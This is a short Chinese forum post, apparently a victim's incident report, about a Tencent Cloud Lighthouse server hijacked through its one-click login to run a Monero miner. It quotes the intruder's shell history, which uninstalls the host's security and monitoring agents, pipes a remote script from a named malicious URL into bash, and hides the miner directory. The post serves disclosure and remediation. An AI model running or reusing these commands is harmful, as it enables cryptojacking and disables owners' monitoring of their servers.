腾讯云轻量漏洞被拿去xmrig挖矿实锤了

前帖：https://hostloc.com/thread-1021600-1-1.html

轻量后台有个 一键登陆的锅

后门 脚本 ：https://5.linshi.co/ww80.sh

找到lighthouse日志看到的
由于权限有限，所以除了挖矿搞不了啥，把一键登录关了，删了挖矿就好了。

#1651856332
sudo -i
#1651856364
/usr/local/qcloud/stargate/admin/uninstall.sh
#1651856364
/usr/local/qcloud/YunJing/uninst.sh
#1651856364
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
#1651856364
sudo -i
#1651856368
exit
#1651856382
curl -s -L https://5.linshi.co/ww80.sh | bash -s 100023489107
#1651856398
mv moneroocean .moneroocean
#1651856408
lsls
#1651856422
ls -a
#1653293830
w
#1653293952
exit

是他这个脚本我看到了小众的源码